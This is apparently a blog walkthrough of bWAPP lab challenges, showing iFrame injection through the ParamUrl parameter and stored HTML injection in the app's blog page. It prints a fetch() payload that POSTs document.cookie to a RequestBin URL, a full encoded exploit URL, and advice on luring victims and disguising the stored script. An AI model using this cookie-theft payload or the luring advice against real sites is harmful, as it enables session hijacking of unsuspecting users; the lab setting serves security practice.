bWAPP iFrame and HTML Injection

Opening the Cookie Jar

What is bWAPP?

bWAPP, short for buggy web application, is a web application designed for testing and improving your pen-testing skills. It offers a wide range of vulnerabilities to exploit in key areas like Cross-site scripting and injection attacks, broken authentication and session management and more. If you want to give these challenges a try, download the web app's contents or the ready-to-go VM image from here. If you have chosen the VM option, then you only need to load it into VirtualBox or similar software. Alternatively, you need to run a web server. For this I chose XAMPP for a really painless setup. Shall we start with the challenges now?

iFrame Injection

The first challenge we are going to attempt is the iFrame injection. Notice how when you navigate to the iFrame injection page, the URL has 3 query parameters ParamUrl, ParamWidth and ParamHeight. Change the width and height parameters in the address bar to confirm if they change the actual contents of the page. They do? Then how can something like that be useful - surely you can resize the iFrame or change its source from your browser's development tools. There must be something more to it ...

iFrame Injection

Code Injection

This is where it starts to get a bit more interesting - put javascript:alert(<some string>) in the values of all three parameters. Remember to use different strings so you can identify which parameter is subject to code injection. In this case, apparently, it's ParamUrl. From then on, you have quite a bit of freedom to decide how you are going to exploit this. As someone who is into sweets, I will use it to steal some cookies.

Code Injection

The Setup

Ideally, you would want to setup your own server that will receive all the delicious cookies, however that will require a good amount of effort. What I suggest doing instead is setting up a RequestBin - here you can review all the posted content in a nice format. Get the RequestBin's URL and you are good to go!

The Setup

The Code

All we need now is some code that will POST the user's cookie to our RequestBin. A simple fetch will do the job for us:


fetch('<my requestb.in bin url>', {
    method: 'POST',
    body: document.cookie
    headers: {
        origin: 'http://127.0.0.1'
    }
})
            

Let's use Encoder for the URL encoding of this code snippet so that it's ready for execution.

The Code

Show Time!

In the end, your URL should looks something like this: http://127.0.0.1/bwapp/iframei.php?ParamUrl=javascript:fetch(%27https://requestb.in/xxxxxxxx,{method:%27POST%27,body:document.cookie,headers:{origin:%27http://127.0.0.1%27}})&ParamWidth=250&ParamHeight=250. Navigating to this URL and you will end up on the page from before, but with empty empty iFrame. What has happened is that we successfully injected code into that iFrame that will send your cookie to the RequestBin you've created. You don't believe me? Just check you bin and especially pay close attention to the RAW Data section!

Show Time
How should this attack be used

How should this attack be used?

In order to get someone's cookie with this method, you need to use some social engineering as well. For the attack to work, a couple of things need to happen:

1

Send the designed URL to the target victim.

2

Them to navigate to that URL.

This might be okay for victims that have very little technical knowledge, but for the more tech-savvy ones it would look suspicous. I know I wouldn't open a link that looks like this! Surely, we can do better.

Improving the solution

Instead of sending this malicious URL to people, ideally, we would want to post it somewhere so that it runs every time someone opens the specific page. Fortunately, there is exactly such place on this web app. Navigate to /htmli_stored.php and you will see what appears to be a blog of some sort. Before posting a a dummy entry in the blog, open HTTPView and put it in Recording mode with the little dot icon in the side bar. Once you have sent the entry, analyze exactly what has happened in HTTPView. To exploit, open the request in Rest from the Grid icon.

Improving the solution
Stored HTML Injection with Rest

Stored HTML Injection with Rest

Now, identify where exactly in the request is the blog entry that you have just typed and change it with our cookie-stealing code snippet inside <script></script>. Also, for making the whole blog entry feel less suspicious, add something additional after the script tag like Hello fellow bloggers!. Fire the request and check if it has succeeded by inspecting the server's response from Body. Can you spot that script tag? Mind you, we are using Rest for this because Chrome detects that we are trying to inject some malicious code. Although at the moment this does not prevent the blog entry from being posted, I suspect that it might change in the future. In addition, Rest has the added benefit of automatically encoding everything you put in the request.

Fill the Cookie Jar

Suddenly, stealing someone's cookie has become a matter of them simply navigating to the blog. Also, in this way, it is a lot harder for the victim to suspect anything as everything on the blog seems normal. There are some traces of the attach in the development tools, but I doubt many people analyze every page that the visit.

Fill the Cookie Jar